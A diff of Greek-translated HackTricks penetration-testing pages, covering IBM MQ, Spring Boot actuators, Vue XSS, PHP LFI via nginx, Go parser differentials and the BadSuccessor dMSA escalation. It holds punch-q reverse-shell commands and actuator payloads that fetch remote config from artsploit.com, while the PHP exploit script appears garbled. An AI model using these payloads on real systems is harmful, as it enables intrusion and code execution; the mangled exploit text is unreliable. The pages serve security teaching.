|
||||
@ -82,7 +82,7 @@ Queue Manager name: MYQUEUEMGR
|
||||
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
|
||||
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
|
||||
```
|
||||
Συμβαίνει μερικές φορές ορισμένες περιπτώσεις IBM MQ να δέχονται **μη αυθεντικοποιημένα** αιτήματα MQ, οπότε δεν χρειάζεται `--username / --password`. Φυσικά, τα δικαιώματα πρόσβασης μπορεί επίσης να διαφέρουν.
|
||||
Συμβαίνει μερικές φορές κάποιες περιπτώσεις IBM MQ να δέχονται **μη αυθεντικοποιημένα** αιτήματα MQ, οπότε το `--username / --password` δεν είναι απαραίτητο. Φυσικά, τα δικαιώματα πρόσβασης μπορεί επίσης να διαφέρουν.
|
||||
|
||||
Μόλις αποκτήσουμε ένα όνομα καναλιού (εδώ: `DEV.ADMIN.SVRCONN`), μπορούμε να καταγράψουμε όλα τα άλλα κανάλια.
|
||||
|
||||
@ -145,7 +145,7 @@ Showing channels with prefix: "*"...
|
||||
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
|
||||
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
|
||||
```
|
||||
### Ουρές
|
||||
### Queues
|
||||
|
||||
Υπάρχει ένα απόσπασμα κώδικα με **pymqi** (`dis_queues.py`) αλλά το **punch-q** επιτρέπει την ανάκτηση περισσότερων πληροφοριών σχετικά με τις ουρές:
|
||||
```bash
|
||||
@ -185,19 +185,19 @@ Showing queues with prefix: "*"...
|
||||
|
||||
### Εκτέλεση κώδικα
|
||||
|
||||
> Ορισμένες λεπτομέρειες πριν συνεχίσουμε: Το IBM MQ μπορεί να ελεγχθεί μέσω πολλών τρόπων: MQSC, PCF, Control Command. Ορισμένες γενικές λίστες μπορούν να βρεθούν στην [τεκμηρίωση του IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison).
|
||||
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (**_Programmable Command Formats_**) είναι αυτό στο οποίο εστιάζουμε για να αλληλεπιδράσουμε απομακρυσμένα με την περίπτωση. **punch-q** και επιπλέον **pymqi** βασίζονται σε αλληλεπιδράσεις PCF.
|
||||
> Ορισμένες λεπτομέρειες πριν συνεχίσουμε: Το IBM MQ μπορεί να ελεγχθεί με πολλούς τρόπους: MQSC, PCF, Control Command. Ορισμένες γενικές λίστες μπορούν να βρεθούν στην [τεκμηρίωση του IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison).
|
||||
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (**_Programmable Command Formats_**) είναι αυτό στο οποίο εστιάζουμε για να αλληλεπιδράσουμε απομακρυσμένα με την περίπτωση. **punch-q** και περαιτέρω **pymqi** βασίζονται σε αλληλεπιδράσεις PCF.
|
||||
>
|
||||
> Μπορείτε να βρείτε μια λίστα με τις εντολές PCF:
|
||||
> Μπορείτε να βρείτε μια λίστα εντολών PCF:
|
||||
>
|
||||
> - [Από την τεκμηρίωση PCF](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), και
|
||||
> - [από σταθερές](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes).
|
||||
>
|
||||
> Μια ενδιαφέρουσα εντολή είναι η `MQCMD_CREATE_SERVICE` και η τεκμηρίωσή της είναι διαθέσιμη [εδώ](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms). Δέχεται ως παράμετρο μια `StartCommand` που δείχνει σε ένα τοπικό πρόγραμμα στην περίπτωση (παράδειγμα: `/bin/sh`).
|
||||
> Μια ενδιαφέρουσα εντολή είναι η `MQCMD_CREATE_SERVICE` και η τεκμηρίωσή της είναι διαθέσιμη [εδώ](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms). Δέχεται ως επιχείρημα μια `StartCommand` που δείχνει σε ένα τοπικό πρόγραμμα στην περίπτωση (παράδειγμα: `/bin/sh`).
|
||||
>
|
||||
> Υπάρχει επίσης μια προειδοποίηση για την εντολή στα έγγραφα: _"Προσοχή: Αυτή η εντολή επιτρέπει σε έναν χρήστη να εκτελέσει μια αυθαίρετη εντολή με εξουσία mqm. Εάν παραχωρηθούν δικαιώματα για τη χρήση αυτής της εντολής, ένας κακόβουλος ή απρόσεκτος χρήστης θα μπορούσε να ορίσει μια υπηρεσία που θα βλάψει τα συστήματα ή τα δεδομένα σας, για παράδειγμα, διαγράφοντας απαραίτητα αρχεία."_
|
||||
>
|
||||
> _Σημείωση: πάντα σύμφωνα με την τεκμηρίωση του IBM MQ (Administration Reference), υπάρχει επίσης ένα HTTP endpoint στο `/admin/action/qmgr/{qmgrName}/mqsc` για να εκτελέσετε την ισοδύναμη εντολή MQSC για τη δημιουργία υπηρεσίας (`DEFINE SERVICE`). Αυτό το θέμα δεν έχει καλυφθεί ακόμα εδώ._
|
||||
> _Σημείωση: πάντα σύμφωνα με την τεκμηρίωση του IBM MQ (Administration Reference), υπάρχει επίσης ένα HTTP endpoint στο `/admin/action/qmgr/{qmgrName}/mqsc` για να εκτελέσετε την ισοδύναμη εντολή MQSC για τη δημιουργία υπηρεσίας (`DEFINE SERVICE`). Αυτό το θέμα δεν έχει καλυφθεί ακόμη εδώ._
|
||||
|
||||
Η δημιουργία / διαγραφή υπηρεσίας με PCF για απομακρυσμένη εκτέλεση προγράμματος μπορεί να γίνει με **punch-q**:
|
||||
|
||||
@ -241,13 +241,13 @@ _Φυσικά μπορείτε να δημιουργήσετε ένα προσα
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
|
||||
```
|
||||
Για το perl:
|
||||
Για perl:
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
|
||||
```
|
||||
### Custom PCF
|
||||
|
||||
Μπορείτε να ερευνήσετε την τεκμηρίωση του IBM MQ και να χρησιμοποιήσετε απευθείας τη βιβλιοθήκη **pymqi** python για να δοκιμάσετε συγκεκριμένη εντολή PCF που δεν έχει υλοποιηθεί στο **punch-q**.
|
||||
Μπορείτε να ερευνήσετε την τεκμηρίωση του IBM MQ και να χρησιμοποιήσετε απευθείας τη βιβλιοθήκη **pymqi** της python για να δοκιμάσετε συγκεκριμένη εντολή PCF που δεν έχει υλοποιηθεί στο **punch-q**.
|
||||
|
||||
**Example:**
|
||||
```python
|
||||
@ -296,12 +296,12 @@ qmgr.disconnect()
|
||||
> pcf = pymqi.PCFExecute(qmgr)
|
||||
>
|
||||
> try:
|
||||
> args = {2029: "*"}
|
||||
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
|
||||
> args = {2029: "*"}
|
||||
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
|
||||
> except pymqi.MQMIError as e:
|
||||
> print("Error")
|
||||
> print("Error")
|
||||
> else:
|
||||
> print(response)
|
||||
> print(response)
|
||||
>
|
||||
> qmgr.disconnect()
|
||||
> ```
|
||||
@ -329,6 +329,8 @@ CONTAINER ID IMAGE COMMAND CRE
|
||||
|
||||
## Αναφορές
|
||||
|
||||
- [mgeeky's gist - "Πρακτικές σημειώσεις διείσδυσης IBM MQ"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
|
||||
- [mgeeky's gist - "Πρακτικές σημειώσεις για την Διείσδυση στο IBM MQ"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
|
||||
- [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
|
||||
- [Τεκμηρίωση IBM MQ](https://www.ibm.com/docs/en/ibm-mq)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -10,7 +10,7 @@
|
||||
|
||||
## Εκμετάλλευση Spring Boot Actuators
|
||||
|
||||
**Δείτε την αρχική ανάρτηση από** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
|
||||
**Ελέγξτε την αρχική ανάρτηση από** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
|
||||
|
||||
### **Βασικά Σημεία:**
|
||||
|
||||
@ -27,9 +27,9 @@
|
||||
- Παράδειγμα URL εκμετάλλευσης: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
|
||||
2. **Τροποποίηση Ρυθμίσεων μέσω '/env'**:
|
||||
|
||||
- Εάν υπάρχουν βιβλιοθήκες Spring Cloud, το endpoint `/env` επιτρέπει την τροποποίηση περιβαλλοντικών ιδιοτήτων.
|
||||
- Εάν υπάρχουν βιβλιοθήκες Spring Cloud, το endpoint `/env` επιτρέπει την τροποποίηση των περιβαλλοντικών ιδιοτήτων.
|
||||
- Οι ιδιότητες μπορούν να χειραγωγηθούν για να εκμεταλλευτούν ευπάθειες, όπως η ευπάθεια αποσυμπίεσης XStream στην υπηρεσία Eureka serviceURL.
|
||||
- Παράδειγμα POST αίτησης εκμετάλλευσης:
|
||||
- Παράδειγμα αίτησης POST εκμετάλλευσης:
|
||||
|
||||
```
|
||||
POST /env HTTP/1.1
|
||||
@ -45,7 +45,7 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
|
||||
|
||||
### **Επιπλέον Πληροφορίες:**
|
||||
|
||||
- Μια ολοκληρωμένη λίστα με τις προεπιλεγμένες actuators μπορεί να βρεθεί [εδώ](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
|
||||
- Μια ολοκληρωμένη λίστα με τους προεπιλεγμένους actuators μπορεί να βρεθεί [εδώ](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
|
||||
- Το endpoint `/env` στο Spring Boot 2.x χρησιμοποιεί μορφή JSON για την τροποποίηση ιδιοτήτων, αλλά η γενική έννοια παραμένει η ίδια.
|
||||
|
||||
### **Σχετικά Θέματα:**
|
||||
@ -62,3 +62,8 @@ Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -5,7 +5,7 @@
|
||||
## XSS Sinks in Vue.js
|
||||
|
||||
### v-html Directive
|
||||
Η οδηγία `v-html` αποδίδει **ακατέργαστο** HTML, οπότε οποιοδήποτε `<script>` (ή μια ιδιότητα όπως `onerror`) που είναι ενσωματωμένο σε μη καθαρισμένα δεδομένα εισόδου χρήστη εκτελείται αμέσως.
|
||||
Η οδηγία `v-html` αποδίδει **ακατέργωτο** HTML, οπότε οποιοδήποτε `<script>` (ή μια ιδιότητα όπως `onerror`) που είναι ενσωματωμένο σε μη καθαρισμένα δεδομένα χρήστη εκτελείται αμέσως.
|
||||
```html
|
||||
<div id="app">
|
||||
<div v-html="htmlContent"></div>
|
||||
@ -65,8 +65,8 @@ data: { malicious: 'alert(1)' }
|
||||
// DANGER – never do this
|
||||
const app = createSSRApp({ template: userProvidedHtml })
|
||||
```
|
||||
### Φίλτρα / συναρτήσεις απόδοσης που αξιολογούν
|
||||
Οι παλαιές φίλτρα που δημιουργούν συμβολοσειρές απόδοσης ή καλούν `eval`/`new Function` σε δεδομένα χρήστη είναι μια άλλη διαδρομή XSS—αντικαταστήστε τα με υπολογισμένες ιδιότητες.
|
||||
### Filters / render functions that eval
|
||||
Οι παλαιές φίλτρα που δημιουργούν συμβολοσειρές απόδοσης ή καλούν `eval`/`new Function` σε δεδομένα χρηστών είναι μια άλλη διαδρομή XSS—αντικαταστήστε τις με υπολογισμένες ιδιότητες.
|
||||
```js
|
||||
Vue.filter('run', code => eval(code)) // DANGER
|
||||
```
|
||||
@ -110,16 +110,16 @@ npm ci --ignore-scripts # safer install
|
||||
```
|
||||
---
|
||||
|
||||
## Hardening Checklist
|
||||
## Λίστα Ελέγχου Σκληροποίησης
|
||||
|
||||
1. **Καθαρίστε** κάθε συμβολοσειρά πριν φτάσει στο `v-html` (DOMPurify).
|
||||
2. **Λευκή λίστα** επιτρεπόμενων σχημάτων, χαρακτηριστικών, συστατικών και γεγονότων.
|
||||
2. **Λευκή Λίστα** επιτρεπόμενων σχημάτων, χαρακτηριστικών, στοιχείων και γεγονότων.
|
||||
3. **Αποφύγετε το `eval`** και τις δυναμικές προτύπες εντελώς.
|
||||
4. **Ενημερώστε τις εξαρτήσεις εβδομαδιαία** και παρακολουθήστε τις συμβουλές.
|
||||
5. **Στείλτε ισχυρούς HTTP headers** (CSP, HSTS, XFO, CSRF).
|
||||
6. **Κλειδώστε την αλυσίδα προμήθειας** με ελέγχους, αρχεία κλειδώματος και υπογεγραμμένες δεσμεύσεις.
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
|
||||
- [https://www.stackhawk.com/blog/vue-xss-guide-examples-and-prevention/](https://www.stackhawk.com/blog/vue-xss-guide-examples-and-prevention/)
|
||||
- [https://medium.com/@isaacwangethi30/vue-js-security-6e246a7613da](https://medium.com/@isaacwangethi30/vue-js-security-6e246a7613da)
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
[**Παράδειγμα από https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||
|
||||
- Κωδικός PHP:
|
||||
- Κώδικας PHP:
|
||||
```php
|
||||
|
||||
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` Note: One cannot directly include \`/proc/34/fd/15\` in this example as PHP's \`include\` function would resolve the path to \`/var/lib/nginx/body/0000001368 (deleted)\` which doesn't exist in in the filesystem. This minor restriction can luckily be bypassed by some indirection like: \`/proc/self/fd/34/../../../34/fd/15\` which will finally execute the content of the deleted \`/var/lib/nginx/body/0000001368\` file. ## Full Exploit \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # find nginx worker processes r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //'
|
||||
@ -14,8 +14,8 @@
|
||||
```
|
||||
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
|
||||
|
||||
εκτός:
|
||||
παράκαμψη
|
||||
except:
|
||||
pass
|
||||
```
|
||||
|
||||
def send\_payload\_worker(requests\_session): while True: send\_payload(requests\_session)
|
||||
@ -47,4 +47,4 @@ if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\
|
||||
```
|
||||
|
||||
```
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
128
src/pentesting-web/json-xml-yaml-hacking.md
Normal file
128
src/pentesting-web/json-xml-yaml-hacking.md
Normal file
@ -0,0 +1,128 @@
|
||||
# JSON, XML & Yaml Hacking & Issues
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Go JSON Decoder
|
||||
|
||||
Οι παρακάτω προβλήματα ανιχνεύθηκαν στο Go JSON αν και θα μπορούσαν να είναι παρόντα και σε άλλες γλώσσες. Αυτά τα προβλήματα δημοσιεύθηκαν σε [**αυτή την ανάρτηση στο blog**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/).
|
||||
|
||||
Οι αναλυτές JSON, XML και YAML του Go έχουν μια μακρά πορεία ασυνεπειών και ανασφαλών προεπιλογών που μπορούν να εκμεταλλευτούν για να **παρακάμψουν την αυθεντικοποίηση**, **κλιμακώσουν προνόμια** ή **εξάγουν ευαίσθητα δεδομένα**.
|
||||
|
||||
### (Un)Marshaling Unexpected Data
|
||||
|
||||
Ο στόχος είναι να εκμεταλλευτεί δομές που επιτρέπουν σε έναν επιτιθέμενο να διαβάσει/γράψει ευαίσθητα πεδία (π.χ., `IsAdmin`, `Password`).
|
||||
|
||||
- Παράδειγμα Δομής:
|
||||
```go
|
||||
type User struct {
|
||||
Username string `json:"username,omitempty"`
|
||||
Password string `json:"password,omitempty"`
|
||||
IsAdmin bool `json:"-"`
|
||||
}
|
||||
```
|
||||
- Κοινές Ευπάθειες
|
||||
|
||||
1. **Απουσία ετικέτας** (χωρίς ετικέτα = το πεδίο αναλύεται ακόμα από προεπιλογή):
|
||||
```go
|
||||
type User struct {
|
||||
Username string
|
||||
}
|
||||
```
|
||||
Πληροφορία:
|
||||
```json
|
||||
{"Username": "admin"}
|
||||
```
|
||||
2. **Λάθος χρήση του `-`**:
|
||||
```go
|
||||
type User struct {
|
||||
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
|
||||
}
|
||||
```
|
||||
Πληροφορία:
|
||||
```json
|
||||
{"-": true}
|
||||
```
|
||||
✔️ Σωστός τρόπος για να αποκλείσετε το πεδίο από το να (απο)μαρσαριστεί:
|
||||
```go
|
||||
type User struct {
|
||||
IsAdmin bool `json:"-"`
|
||||
}
|
||||
```
|
||||
### Διαφορές Αναλυτών
|
||||
|
||||
Ο στόχος είναι να παρακαμφθεί η εξουσιοδότηση εκμεταλλευόμενοι το πώς διαφορετικοί αναλυτές ερμηνεύουν το ίδιο φορτίο διαφορετικά όπως σε:
|
||||
- CVE-2017-12635: Παράκαμψη Apache CouchDB μέσω διπλών κλειδιών
|
||||
- 2022: Zoom 0-click RCE μέσω ασυνέπειας αναλυτή XML
|
||||
- GitLab 2025 SAML παράκαμψη μέσω ιδιαιτεροτήτων XML
|
||||
|
||||
**1. Διπλά Πεδία:**
|
||||
Ο `encoding/json` του Go παίρνει το **τελευταίο** πεδίο.
|
||||
```go
|
||||
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
|
||||
fmt.Println(req.Action) // AdminAction
|
||||
```
|
||||
Άλλοι αναλυτές (π.χ., Jackson της Java) μπορεί να πάρουν το **πρώτο**.
|
||||
|
||||
**2. Αδιαφορία Περί Περίπτωσης:**
|
||||
Το Go είναι αδιάφορο ως προς την περίπτωση:
|
||||
```go
|
||||
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
|
||||
// matches `Action` field
|
||||
```
|
||||
Ακόμα και τα κόλπα Unicode λειτουργούν:
|
||||
```go
|
||||
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)
|
||||
```
|
||||
**3. Διαφορετικότητα διασύνδεσης υπηρεσιών:**
|
||||
Φανταστείτε:
|
||||
- Proxy γραμμένο σε Go
|
||||
- Υπηρεσία AuthZ γραμμένη σε Python
|
||||
|
||||
Ο επιτιθέμενος στέλνει:
|
||||
```json
|
||||
{
|
||||
"action": "UserAction",
|
||||
"AcTiOn": "AdminAction"
|
||||
}
|
||||
```
|
||||
- Η Python βλέπει το `UserAction`, το επιτρέπει
|
||||
- Η Go βλέπει το `AdminAction`, το εκτελεί
|
||||
|
||||
|
||||
### Σύγχυση Μορφής Δεδομένων (Polyglots)
|
||||
|
||||
Ο στόχος είναι να εκμεταλλευτούμε συστήματα που αναμειγνύουν μορφές (JSON/XML/YAML) ή αποτυγχάνουν να κλείσουν σε σφάλματα αναλυτή όπως:
|
||||
- **CVE-2020-16250**: Το HashiCorp Vault ανέλυσε JSON με έναν αναλυτή XML μετά την επιστροφή JSON από το STS αντί για XML.
|
||||
|
||||
Ο επιτιθέμενος ελέγχει:
|
||||
- Την κεφαλίδα `Accept: application/json`
|
||||
- Μερικό έλεγχο του σώματος JSON
|
||||
|
||||
Ο αναλυτής XML της Go το ανέλυσε **οπωσδήποτε** και εμπιστεύτηκε την εισαγόμενη ταυτότητα.
|
||||
|
||||
- Δημιουργημένο payload:
|
||||
```json
|
||||
{
|
||||
"action": "Action_1",
|
||||
"AcTiOn": "Action_2",
|
||||
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
|
||||
}
|
||||
```
|
||||
Αποτέλεσμα:
|
||||
- **Go JSON** parser: `Action_2` (χωρίς διάκριση πεζών-κεφαλαίων + τελευταίο κερδίζει)
|
||||
- **YAML** parser: `Action_1` (με διάκριση πεζών-κεφαλαίων)
|
||||
- **XML** parser: αναλύει `"Action_3"` μέσα στη συμβολοσειρά
|
||||
|
||||
|
||||
### 🔐 Μετριασμοί
|
||||
|
||||
| Κίνδυνος | Διόρθωση |
|
||||
|-----------------------------|---------------------------------------|
|
||||
| Άγνωστα πεδία | `decoder.DisallowUnknownFields()` |
|
||||
| Διπλά πεδία (JSON) | ❌ Καμία διόρθωση στη stdlib |
|
||||
| Αντιστοίχιση χωρίς διάκριση | ❌ Καμία διόρθωση στη stdlib |
|
||||
| XML σκουπίδια δεδομένα | ❌ Καμία διόρθωση στη stdlib |
|
||||
| YAML: άγνωστα κλειδιά | `yaml.KnownFields(true)` |
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,4 +1,4 @@
|
||||
# Fault Injection Attacks
|
||||
# Επιθέσεις Εισαγωγής Σφαλμάτων
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
|
@ -4,22 +4,22 @@
|
||||
|
||||
## Επισκόπηση
|
||||
|
||||
Τα Delegated Managed Service Accounts (dMSAs) είναι ένας εντελώς νέος τύπος AD principal που εισήχθη με το Windows Server 2025. Είναι σχεδιασμένα να αντικαταστήσουν τους παλιούς λογαριασμούς υπηρεσιών επιτρέποντας μια “μετανάστευση” με ένα κλικ που αντιγράφει αυτόματα τα Service Principal Names (SPNs), τις συμμετοχές σε ομάδες, τις ρυθμίσεις αντιπροσώπευσης και ακόμη και τα κρυπτογραφικά κλειδιά του παλιού λογαριασμού στο νέο dMSA, παρέχοντας στις εφαρμογές μια απρόσκοπτη μετάβαση και εξαλείφοντας τον κίνδυνο Kerberoasting.
|
||||
Τα Delegated Managed Service Accounts (**dMSAs**) είναι ένας ολοκαίνουργιος τύπος AD principal που εισήχθη με το **Windows Server 2025**. Είναι σχεδιασμένα να αντικαταστήσουν τους παλιούς λογαριασμούς υπηρεσιών επιτρέποντας μια “μετανάστευση” με ένα κλικ που αντιγράφει αυτόματα τα Service Principal Names (SPNs) του παλιού λογαριασμού, τις συμμετοχές σε ομάδες, τις ρυθμίσεις αντιπροσώπευσης και ακόμη και τα κρυπτογραφικά κλειδιά στον νέο dMSA, παρέχοντας στις εφαρμογές μια απρόσκοπτη μετάβαση και εξαλείφοντας τον κίνδυνο Kerberoasting.
|
||||
|
||||
Οι ερευνητές της Akamai διαπίστωσαν ότι ένα μόνο χαρακτηριστικό — **`msDS‑ManagedAccountPrecededByLink`** — λέει στο KDC ποιος παλιός λογαριασμός “διαδέχεται” ένα dMSA. Εάν ένας επιτιθέμενος μπορεί να γράψει αυτό το χαρακτηριστικό (και να αλλάξει το **`msDS‑DelegatedMSAState` → 2**), το KDC θα δημιουργήσει ευχαρίστως ένα PAC που **κληρονομεί κάθε SID του επιλεγμένου θύματος**, επιτρέποντας αποτελεσματικά στο dMSA να προσποιείται οποιονδήποτε χρήστη, συμπεριλαμβανομένων των Domain Admins.
|
||||
Ερευνητές της Akamai διαπίστωσαν ότι ένα μόνο χαρακτηριστικό — **`msDS‑ManagedAccountPrecededByLink`** — λέει στο KDC ποιος παλιός λογαριασμός “διαδέχεται” ένα dMSA. Εάν ένας επιτιθέμενος μπορεί να γράψει αυτό το χαρακτηριστικό (και να αλλάξει το **`msDS‑DelegatedMSAState` → 2**), το KDC θα δημιουργήσει ευχαρίστως ένα PAC που **κληρονομεί κάθε SID του επιλεγμένου θύματος**, επιτρέποντας ουσιαστικά στο dMSA να προσποιείται οποιονδήποτε χρήστη, συμπεριλαμβανομένων των Domain Admins.
|
||||
|
||||
## Τι ακριβώς είναι ένα dMSA;
|
||||
|
||||
* Βασισμένο στην τεχνολογία **gMSA** αλλά αποθηκευμένο ως η νέα κλάση AD **`msDS‑DelegatedManagedServiceAccount`**.
|
||||
* Υποστηρίζει μια **μετανάστευση opt-in**: η κλήση `Start‑ADServiceAccountMigration` συνδέει το dMSA με τον παλιό λογαριασμό, παραχωρεί στον παλιό λογαριασμό δικαιώματα εγγραφής στο `msDS‑GroupMSAMembership`, και αλλάζει το `msDS‑DelegatedMSAState` = 1.
|
||||
* Μετά την `Complete‑ADServiceAccountMigration`, ο υπερκερασμένος λογαριασμός απενεργοποιείται και το dMSA γίνεται πλήρως λειτουργικό; οποιοσδήποτε υπολογιστής που χρησιμοποιούσε προηγουμένως τον παλιό λογαριασμό είναι αυτόματα εξουσιοδοτημένος να αντλήσει τον κωδικό πρόσβασης του dMSA.
|
||||
* Κατά την αυθεντικοποίηση, το KDC ενσωματώνει μια ένδειξη **KERB‑SUPERSEDED‑BY‑USER** ώστε οι πελάτες Windows 11/24H2 να προσπαθούν διαφανώς ξανά με το dMSA.
|
||||
* Υποστηρίζει μια **μετανάστευση opt‑in**: η κλήση του `Start‑ADServiceAccountMigration` συνδέει το dMSA με τον παλιό λογαριασμό, παρέχει στον παλιό λογαριασμό δικαιώματα εγγραφής στο `msDS‑GroupMSAMembership`, και αλλάζει το `msDS‑DelegatedMSAState` = 1.
|
||||
* Μετά το `Complete‑ADServiceAccountMigration`, ο υπερκερασμένος λογαριασμός απενεργοποιείται και το dMSA γίνεται πλήρως λειτουργικό; οποιοσδήποτε υπολογιστής που χρησιμοποιούσε προηγουμένως τον παλιό λογαριασμό είναι αυτόματα εξουσιοδοτημένος να αντλήσει τον κωδικό πρόσβασης του dMSA.
|
||||
* Κατά την αυθεντικοποίηση, το KDC ενσωματώνει μια ένδειξη **KERB‑SUPERSEDED‑BY‑USER** ώστε οι πελάτες Windows 11/24H2 να προσπαθούν διαφανώς ξανά με το dMSA.
|
||||
|
||||
## Απαιτήσεις για επίθεση
|
||||
1. ** Τουλάχιστον ένας Windows Server 2025 DC** ώστε να υπάρχουν η κλάση LDAP του dMSA και η λογική KDC.
|
||||
2. **Οποιαδήποτε δικαιώματα δημιουργίας αντικειμένων ή εγγραφής χαρακτηριστικών σε ένα OU** (οποιοδήποτε OU) – π.χ. `Create msDS‑DelegatedManagedServiceAccount` ή απλά **Create All Child Objects**. Η Akamai διαπίστωσε ότι το 91% των πραγματικών ενοικιαστών παραχωρούν τέτοιες “αθώες” άδειες OU σε μη διαχειριστές.
|
||||
3. Δυνατότητα εκτέλεσης εργαλείων (PowerShell/Rubeus) από οποιονδήποτε υπολογιστή που έχει συνδεθεί στο domain για να ζητήσει Kerberos tickets.
|
||||
*Δεν απαιτείται έλεγχος του θύματος χρήστη; η επίθεση δεν αγγίζει ποτέ τον στόχο λογαριασμό απευθείας.*
|
||||
2. **Οποιαδήποτε δικαιώματα δημιουργίας αντικειμένων ή εγγραφής χαρακτηριστικών σε ένα OU** (οποιοδήποτε OU) – π.χ. `Create msDS‑DelegatedManagedServiceAccount` ή απλά **Create All Child Objects**. Η Akamai διαπίστωσε ότι το 91% των πραγματικών ενοικιαστών παρέχουν τέτοιες “αθώες” άδειες OU σε μη διαχειριστές.
|
||||
3. Δυνατότητα εκτέλεσης εργαλείων (PowerShell/Rubeus) από οποιονδήποτε υπολογιστή συνδεδεμένο στο domain για να ζητήσει Kerberos tickets.
|
||||
*Δεν απαιτείται έλεγχος του θύματος χρήστη; η επίθεση δεν αγγίζει ποτέ απευθείας τον στόχο λογαριασμό.*
|
||||
|
||||
## Βήμα προς βήμα: BadSuccessor*κλιμάκωση προνομίων
|
||||
|
||||
@ -30,11 +30,11 @@ New‑ADServiceAccount Attacker_dMSA `
|
||||
‑Path "OU=temp,DC=lab,DC=local"
|
||||
```
|
||||
|
||||
Επειδή δημιουργήσατε το αντικείμενο μέσα σε ένα OU που μπορείτε να γράψετε, κατέχετε αυτόματα όλα τα χαρακτηριστικά του.
|
||||
Δεδομένου ότι δημιουργήσατε το αντικείμενο μέσα σε ένα OU που μπορείτε να γράψετε, κατέχετε αυτόματα όλα τα χαρακτηριστικά του.
|
||||
|
||||
2. **Προσομοιώστε μια “ολοκληρωμένη μετανάστευση” σε δύο εγγραφές LDAP**:
|
||||
